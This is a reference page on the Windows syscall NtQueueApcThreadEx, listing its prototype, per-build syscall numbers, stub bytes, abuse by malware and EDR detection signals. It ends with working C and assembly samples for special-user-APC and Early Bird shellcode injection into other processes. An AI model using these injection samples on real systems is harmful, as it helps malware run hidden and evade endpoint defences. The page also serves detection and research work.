> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtQueueApcThreadEx

Queues a user APC to a thread with optional reserve object or special-user-APC flag for forced delivery.

Prototype

NTSTATUS NtQueueApcThreadEx(
  HANDLE            ThreadHandle,
  HANDLE            UserApcReserveHandle,
  PKNORMAL_ROUTINE  ApcRoutine,
  PVOID             ApcArgument1,
  PVOID             ApcArgument2,
  PVOID             ApcArgument3
);

Arguments

NameTypeDirDescription
ThreadHandleHANDLEinHandle to the target thread with THREAD_SET_CONTEXT access.
UserApcReserveHandleHANDLEinOptional user-APC reserve object (NtAllocateReserveObject). Pass QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC (0x1) cast as HANDLE for force-fire (Win10 1809+).
ApcRoutinePKNORMAL_ROUTINEinUser-mode routine to be executed when the APC is delivered.
ApcArgument1PVOIDinFirst argument passed to ApcRoutine. For special user APCs this is the CONTEXT* receiver.
ApcArgument2PVOIDinSecond argument passed to ApcRoutine.
ApcArgument3PVOIDinThird argument passed to ApcRoutine.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x14Bwin10-1507
Win10 16070x152win10-1607
Win10 17030x158win10-1703
Win10 17090x15Bwin10-1709
Win10 18030x15Dwin10-1803
Win10 18090x15Ewin10-1809
Win10 19030x15Fwin10-1903
Win10 19090x15Fwin10-1909
Win10 20040x165win10-2004
Win10 20H20x165win10-20h2
Win10 21H10x165win10-21h1
Win10 21H20x166win10-21h2
Win10 22H20x166win10-22h2
Win11 21H20x16Dwin11-21h2
Win11 22H20x170win11-22h2
Win11 23H20x170win11-23h2
Win11 24H20x172win11-24h2
Server 20160x152winserver-2016
Server 20190x15Ewinserver-2019
Server 20220x16Bwinserver-2022
Server 20250x172winserver-2025

Kernel module

ntoskrnl.exeNtQueueApcThreadEx

Related APIs

QueueUserAPCQueueUserAPC2NtQueueApcThreadNtQueueApcThreadEx2NtAllocateReserveObjectNtTestAlert

Syscall stub

4C 8B D1            mov r10, rcx
B8 72 01 00 00      mov eax, 0x172
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Extension of `NtQueueApcThread` introduced for the user-APC reserve object pattern (avoid pool allocation on every queue) and, since Windows 10 1809, for **special user APCs** (`QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1`). The trick: passing the constant `0x1` *as* the `UserApcReserveHandle` switches the kernel into a path that delivers the APC to the target thread regardless of whether it is alertable — the kernel hijacks the thread's user-mode `CONTEXT` and resumes it inside `ApcRoutine` with `ApcArgument1` pointing at a `CONTEXT` structure containing the original register state. SSN drifts heavily build-to-build; resolve dynamically.

Common malware usage

Three notable abuses. (1) **PoolParty** (SafeBreach 2023) uses special user APCs to inject into threads that *never* go alertable — modern background worker threads in browsers and EDR agents — completely defeating the classic "target an alertable wait" defense. (2) Early Bird remains viable but the Ex form is preferred because it does not require the target thread to ever reach an alertable wait. (3) Cobalt Strike 4.x and Brute Ratel C4 use the special-APC variant for fork&run-style execution that no longer needs `CreateThread` in the victim. T1055.004.

Detection opportunities

Special user APCs surface as ETW Threat Intelligence `EtwTiLogQueueApcThread` events with the special-user-APC flag set — modern EDRs (CrowdStrike, Defender for Endpoint, SentinelOne) parse this. The hijacked-CONTEXT delivery means the target thread's RIP suddenly jumps to a non-module address with a CONTEXT pointer on the stack — stack-walk and RIP-vs-VAD checks on EtwTi events catch it. Cross-process `NtQueueApcThreadEx` from a non-debugger parent with the special-user-APC flag is almost always malicious in the wild.

Direct syscall examples

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtQueueApcThreadEx (SSN 0x172 on Win11 24H2)
NtQueueApcThreadEx PROC
    mov  r10, rcx              ; syscall convention
    mov  eax, 0172h            ; SSN — drifts; resolve dynamically for portability
    syscall
    ret
NtQueueApcThreadEx ENDP

cSpecial user APC (PoolParty-style)

// Inject into a non-alertable target thread via QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC.
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC ((HANDLE)0x1)

// hThread points at a worker thread that will never call SleepEx — classic EDR scrub thread.
// remote_shellcode was already written + RX-protected in the target process.
NTSTATUS st = NtQueueApcThreadEx(
    hThread,
    QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,    // forces delivery via context hijack
    (PKNORMAL_ROUTINE)remote_shellcode,
    NULL, NULL, NULL);
if (!NT_SUCCESS(st)) return st;
// Kernel hijacks the thread's CONTEXT and resumes it inside remote_shellcode.

cEarly Bird APC injection with Ex form

// Spawn target suspended; queue Ex-APC; resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// Ex form lets us pick reserve object or special-APC; for EarlyBird either works.
NtQueueApcThreadEx(pi.hThread, NULL, (PKNORMAL_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

MITRE ATT&CK mappings

Last verified: 2026-05-20